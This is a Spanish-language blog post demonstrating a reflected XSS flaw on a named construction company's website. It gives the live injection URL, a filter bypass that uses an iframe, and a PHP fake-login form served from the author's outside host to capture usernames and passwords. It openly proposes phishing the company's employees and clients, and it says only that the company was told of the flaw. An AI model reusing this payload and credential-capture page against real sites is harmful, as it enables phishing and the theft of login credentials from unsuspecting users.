Os voy a dejar un ejemplo para que veais lo peligroso que puede ser un XSS , si se utiliza para hacer phising.

La empresa afectada es una inmobiliaria y constructora “Yagode”, la vulnerabilidad XSS se encuentra en el script “proyectos.php“, al no parsear la variable tipo. Tiene protección contra XSS, pero no es efectiva. Podemos comprobar ingresando a

http://www.yagode.cl/proyectos.php?Tipo=<script>alert(this)</script>

Obtenemos el mensaje de error 406 “Not Acceptable”,

Not Acceptable

An appropriate representation of the requested resource /proyectos.php could not be found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Sin embargo, permite incluir otro tipo de código como un iframe.

Vamos a armar un pequeño código en php con un formulario que nos capture la información, simulando un login, bien simple, que cumpla con el estándar del sitio web (fondo azúl y bien feo)

< ?php
if($_GET['login'] == "ok")
 die("user: ".$_POST['user']."pass: ".$_POST['pass']);
?>
<form method="post" action="?login=ok">
Usuario:
<input name="user" type="text">
Password:
<input name="pass" type="password">
<input value="Ingresar/" type="submit">
</form>

Incluimos nuestro script en el iframe:

http://www.yagode.cl/proyectos.php?Tipo=<iframe frameborder=0 src=http://zerial.org/yagode.php width=500 height=200</iframe>

Ingresamos nuestra información, usuario y contraseña, y vemos como el script php que hicimos se encarga de guardar la información y mostrarla, llenamos el formulario con datos de prueba como usuario=miusuario y password=mipassword, al presionar el botón “ingresar“, veremos la siguiente pantalla:

Perfectamente podemos engañar a los empleados o clientes de ésta empresa, para que ingresen a éste sitio y nos entreguen información confidencial. Con un poco de ingeniería social y tiempo.

NOTA: La empresa encargada de éste sitio fue notificada de los fallos hace mucho tiempo (más de 2 meses)


Fuente